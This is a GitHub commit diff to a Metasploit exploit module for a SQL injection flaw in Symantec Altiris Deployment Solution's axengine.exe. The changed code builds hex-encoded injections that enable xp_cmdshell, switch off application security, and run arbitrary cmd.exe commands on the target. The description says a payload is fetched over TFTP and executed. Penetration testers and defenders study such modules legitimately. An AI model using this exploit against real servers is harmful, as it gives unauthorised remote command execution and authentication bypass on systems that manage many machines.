Skip to content

Commit fddb69e

Browse files
committed
Use instance variables for 1-time injections
1 parent 0fcb59f commit fddb69e

File tree

1 file changed

+22
-10
lines changed

1 file changed

+22
-10
lines changed

modules/exploits/windows/misc/altiris_ds_sqli.rb

Lines changed: 22 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'Symantec Altiris DS SQLi 6.8 - 6.9.164',
17+
'Name' => 'Symantec Altiris DS SQL Injection',
1818
'Description' => %q{
19-
This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution. The
20-
vulnerability exists on axengine.exe which fails to adequately sanitize numeric input
21-
fields in "UpdateComputer" notification Requests. In order to spawn a shell, several SQL
22-
injections are required in close succession, first to enable xp_cmdshell, then retrieve
23-
the payload via TFTP and finally execute it. The module also has the capability to disable
24-
or enable local application authentication.
19+
This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.8
20+
to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize
21+
numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell,
22+
several SQL injections are required in close succession, first to enable xp_cmdshell, then
23+
retrieve the payload via TFTP and finally execute it. The module also has the capability
24+
to disable or enable local application authentication. In order to work the target system
25+
must have a tftp client available.
2526
},
2627
'Author' =>
2728
[
@@ -67,16 +68,24 @@ def initialize(info = {})
6768
def execute_command(cmd, opts = {})
6869
inject=[]
6970

70-
if @xp_shell_enable == true
71+
if @xp_shell_enable
7172
inject+=[
7273
"#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}",
7374
"#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}",
7475
]
7576
@xp_shell_enable = false
7677
end
7778

78-
inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] if datastore['DISABLE_SECURITY'] == true
79-
inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] if datastore['ENABLE_SECURITY'] == true
79+
if @wc_disable_security
80+
inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"]
81+
@wc_disable_security = false
82+
end
83+
84+
if @wc_enable_security
85+
inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"]
86+
@wc_enable_security = false
87+
end
88+
8089
inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil
8190

8291
inject.each do |sqli|
@@ -145,7 +154,10 @@ def check
145154
end
146155

147156
def exploit
157+
@wc_disable_security = datastore['DISABLE_SECURITY']
158+
@wc_enable_security = datastore['ENABLE_SECURITY']
148159
@xp_shell_enable = datastore['XP_CMDSHELL']
160+
149161
# CmdStagerVBS was tested here as well, however delivery took roughly
150162
# 30 minutes and required sending almost 350 notification messages.
151163
# size constraint requirement for SQLi is: linemax => 393

0 commit comments

Comments
 (0)